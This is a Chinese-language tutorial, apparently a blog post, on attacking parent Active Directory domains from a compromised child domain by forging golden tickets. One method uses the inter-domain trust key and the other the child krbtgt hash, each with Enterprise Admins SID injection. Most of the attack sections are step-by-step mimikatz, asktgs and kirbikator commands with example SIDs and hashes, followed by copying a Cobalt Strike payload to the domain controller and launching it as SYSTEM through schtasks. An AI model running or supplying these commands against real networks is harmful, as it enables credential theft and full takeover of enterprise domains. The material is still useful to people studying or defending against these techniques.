Active Directory跨域攻击技术
跨域攻击
大型企业中会根据职能在逻辑上划分很多子域,以主域和子域进行区分方便管理,不同区域由防火墙分割。
跨域攻击方法
- 常规渗透方法(利用web漏洞)
- 哈希传递票据攻击
- 利用域信任关系
获取域信息
在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,林中所有域控制器上具Administrators权限的成员都是该组的成员。
查看当前域中计算机的权限
whoami /all
查看域信任关系
nltest /domain_trusts
使用lg工具获取域的相关信息
获取当前域中的用户组
LG.exe 域名\.
获取远程机器的本地用户组
LG.exe \\计算机名 -lu
获取远程系统中的用户SID
LG.exe \\计算机名 -lu -sidsout
通过域信任
森林是一个 AD 网络中一个或多个域树的集合。域信任是网络中的用户访问域内其他资源的机制。大体上,信任规定了森林内各域之间的通信方式。在某些环境中,信任可以扩展到外部域,甚至在某些情况下扩展到其他森林。
域之间可以配置两种主要的信任类型:
- 方向性 - 信任的方向从信任域流向受信任域
- 传递性 - 信任关系不仅限于两个域,还包括其他受信任域
利用域信任密钥获取目标域控
攻击原理
- 域信任机制滥用:子域与父域之间存在域间信任关系,信任关系由信任账户维护,其NTLM哈希(信任密钥)用于跨域认证。
- 攻击者通过获取信任密钥,伪造跨域黄金票据,冒充受信任域(子域)的用户,并注入父域高权限组的SID(如Enterprise Admins组,RID=519),绕过Kerberos身份验证。
- 服务票据伪造:基于伪造的黄金票据(TGT),进一步生成特定服务(如CIFS、Host)的服务票据(TGS),直接访问父域资源(文件共享、远程任务执行等),最终控制父域域控。
攻击链
- 利用信任关系:通过子域与父域的信任密钥(信任账户哈希)制作跨域黄金票据TGT。
- 权限提升:通过注入父域Enterprise Admins组的SID,获得父域最高权限。
- 服务票据生成:基于TGT请求特定服务(如CIFS、host)的TGS,突破边界访问父域资源。
- 父域沦陷:通过服务票据构建计划任务,最终上线cs控制父域域控制器。
利用条件
- 信任关系存在:
- 子域与父域需建立域间信任关系(父子域、树根信任或外部信任)。
- 信任方向允许子域访问父域(通常为双向或父域信任子域)。
- 关键信息可获取:
- 信任密钥:子域与父域间信任账户的NTLM哈希。
- SID信息:子域SID、父域SID及父域Enterprise Admins组的SID(父域SID-519)。
- 目标服务暴露:父域控需开放CIFS(文件共享)、Host(远程任务管理) 等服务的访问权限。
- 权限要求:攻击起点仅需子域普通用户权限(无需域控权限),但需能执行Mimikatz提取信任密钥。
所需关键信息
| 信息类型 | 获取方式 |
|---|---|
| 子域域名 | 通过net config workstation或环境变量 |
| 子域SID | 使用whoami /user或Get-ADDomain |
| 父域SID-519 | 通过lsadump::trust或父域查询(如Get-ADGroup "Enterprise Admins") |
| 信任密钥 | 在子域执行lsadump::lsa /patch /user:HACK$(需本地管理员权限) |
| 父域控主机名 | 通过DNS查询或域内解析(如nslookup dc.hack.com) |
示例
网络环境
| IP地址 | 所属域 | 域中地位 | 机器名 | 当前登录用户 |
|---|---|---|---|---|
| 192.168.41.10 | hack.com | 根域的域控 | DC | hack\administrator |
| 192.168.41.50 | abc.hack.com | 子域的域控 | DC2 | abc\administrator |
| 192.168.41.55 | abc.hack.com | 子域中的机器 | PC-2008-2 | abc\xyz |
当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008-2机器

实验步骤
当前DC2无法访问DC.HACK.COM

信息获取
使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥
mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$"
"lsadump::trust /patch" exit
跨域黄金票据制作&利用
在普通的域内用户中创建创建高权限票据,这里不强求域管。
# 命令语法
mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域SID-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi" exit
# 参考命令
mimikatz.exe "kerberos::golden /domain:abc.hack.com /sid:S-1-5-21-3649832354-3744496941-3070025514 /sids:S-1-5-21-3435113289-1855702322-4007071888-519 /rc4:1f3fe420127eafc9e09e2b7a5cdba2dd /user:administrator /service:krbtgt /target:hack.com /ticket:administrator.kirbi" exit


上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据

跨域服务票据制作&利用
创建CIFS服务的票据:
asktgs.exe administrator.kirbi CIFS/DC.hack.com


将票据注入内存:
kirbikator.exe lsa CIFS.DC.hack.com.kirbi

访问域控:
dir \\dc.hack.com\c$

目标DC上线cs
投送cs恶意文件到目标域控:
copy artifact.exe \\dc.hack.com\c$

创建计划任务上线cs:
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

被拒绝访问,伪造host服务票据,进行创建计划任务:
asktgs.exe administrator.kirbi host/DC.hack.com

将票据注入内存:
kirbikator.exe lsa host.DC.hack.com.kirbi

再次创建计划任务:
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

执行计划任务:
schtasks /run /s dc.hack.com /i /tn "test"

跨域上线父域DC成功:

利用krbtgt哈希值获取目标域控
攻击原理
-
黄金票据伪造:利用子域的
krbtgt账户NTLM哈希生成伪造的TGT,绕过Kerberos身份验证,获得任意服务的访问权限。- 关键参数:注入父域的Enterprise Admins组SID(RID=519),使票据在父域中拥有最高权限。
- 权限继承:通过域间信任关系(父子域信任),子域用户可继承父域高权限组的权限。
-
横向移动:通过伪造的黄金票据访问父域资源,利用文件共享(CIFS)和服务创建(计划任务)将恶意程序部署到父域域控,最终获取控制权。
攻击链
-
信息收集:
- 在子域DC获取
krbtgt哈希(lsadump::lsa)。 - 提取域信任关系及父域SID(
lsadump::trust)。
- 在子域DC获取
-
黄金票据构造:
- 注入父域SID-519:使票据在父域中具备Enterprise Admins权限。
- /ptt参数:直接将票据注入内存,隐蔽性高。
-
权限验证与横向移动:
- 访问父域共享(
dir \\dc.hack.com\C$),确认票据生效。 - 复制CS木马到父域域控(
copy artifact.exe \\dc.hack.com\C$)。 - 创建计划任务远程执行(
schtasks /create /s dc.hack.com),触发恶意载荷上线CS。
- 访问父域共享(
-
父域沦陷:恶意程序在父域域控上线,攻击者获得父域控制权。
利用条件
-
域信任关系:
- 子域与父域需存在父子域信任关系,允许权限继承。
- 信任方向需支持子域访问父域(通常为双向或父域信任子域)。
-
关键信息获取:
- 子域krbtgt哈希:通过子域域控的本地权限提取(需管理员权限)。
- 父域SID:需获取父域的SID及Enterprise Admins组SID(RID=519)。
-
攻击入口点:已控制子域域控或具备子域管理员权限。
所需信息
| 信息类型 | 获取方式 |
|---|---|
| 子域域名 | 通过net config workstation或环境变量获取 |
| 子域SID | 使用whoami /user或Get-ADDomain(PowerShell) |
| 父域SID-519 | 通过lsadump::trust或父域查询(如Get-ADGroup "Enterprise Admins")得到父域SID再拼接-519 |
| 子域krbtgt哈希 | 在子域控执行lsadump::lsa /patch /user:krbtgt(需管理员权限) |
| 父域DC主机名 | 通过DNS查询或域内机器名解析(如nslookup dc.hack.com) |
示例
网络拓扑
| IP地址 | 所属域 | 域中地位 | 机器名 | 当前登录用户 |
|---|---|---|---|---|
| 192.168.41.10 | hack.com | 根域的域控 | DC | hack\administrator |
| 192.168.41.50 | abc.hack.com | 子域的域控 | DC2 | abc\administrator |
| 192.168.41.55 | abc.hack.com | 子域中的机器 | PC-2016-Member | abc\xyz |
实验步骤
当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008-2机器

信息获取
# DC2获取Krbtgt散列
mimikatz lsadump::lsa /patch /user:krbtgt
# 获取SID
lsadump::trust /patch


票据制作&注入
构造并注入黄金票据
# 命令语法
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt:krbtgt散列 /ptt
# 示例命令
Kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-3649832354-3744496941-3070025514 /sids:S-1-5-21-3435113289-1855702322-4007071888-519 /krbtgt:941d5cf46a8f4e50bbcec74867aa1ea3 /ptt

访问目标域

目标上线CS
上传CS木马:

copy artifact.exe \\dc.hack.com\C$

创建计划任务:
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

启动计划任务:
schtasks /run /s dc.hack.com /i /tn "test"

成功跨域上线域控:

两种方法对比
重点内容对比表
| 对比维度 | 利用子域krbtgt哈希 | 利用域信任密钥 |
|---|---|---|
| 适用场景 | 已控制子域域控:可直接提取krbtgt哈希,操作路径更短。需要持久化权限: krbtgt哈希变更周期长(通常180天),黄金票据可长期有效。 目标域启用SID过滤:若父域启用SID过滤,方法2可能失效,而方法1通过子域权限直接继承父域组权限。 |
未控制子域域控:仅需普通域用户权限即可提取信任密钥(如通过lsadump::trust)。需隐蔽渗透:避免在域控上操作,降低触发安全告警的风险。 跨林攻击:适用于林间信任场景(如外部信任),无需依赖父子域关系。 |
| 关键凭证 | 子域的krbtgt账户NTLM哈希 |
子域与父域之间的信任账户(如HACK$)的NTLM哈希 |
| 核心依赖 | 子域与父域的信任关系(需允许SID注入) | 子域与父域的域间信任密钥(信任账户密码哈希) |
| 是否需要域控 | 是(需子域域控权限提取krbtgt哈希) |
否(普通域用户即可,只要能获取信任密钥) |
| 攻击入口 | 已控制子域域控(DC2) | 已控制子域普通机器(如PC-2008-2),无需域控权限 |
| 隐蔽性 | 较低(需在域控上执行敏感操作) | 较高(可在普通机器操作,仅依赖信任密钥) |
| 适用场景 | 子域与父域存在信任关系,且攻击者已控制子域域控 | 子域与父域存在信任关系,但攻击者仅有普通域用户权限(或无法接触域控) |
| 绕过SID过滤 | 依赖信任关系是否启用SID过滤(若启用可能失败) | 直接利用信任密钥,不受SID过滤影响 |
| 工具链 | Mimikatz(生成票据)、计划任务横向移动 | Mimikatz + asktgs.exe(生成服务票据) + kirbikator.exe(注入票据) |
| 典型操作 | 直接生成TGT并注入内存,访问父域资源 | 需分两步:生成TGT → 生成服务票据(CIFS/Host) → 注入服务票据 |
本质区别
- 方法1的核心是子域自身权限的滥用(利用
krbtgt哈希),需控制域控。 - 方法2的核心是域间信任关系的滥用(利用信任密钥),仅需普通权限。

浙公网安备 33010602011771号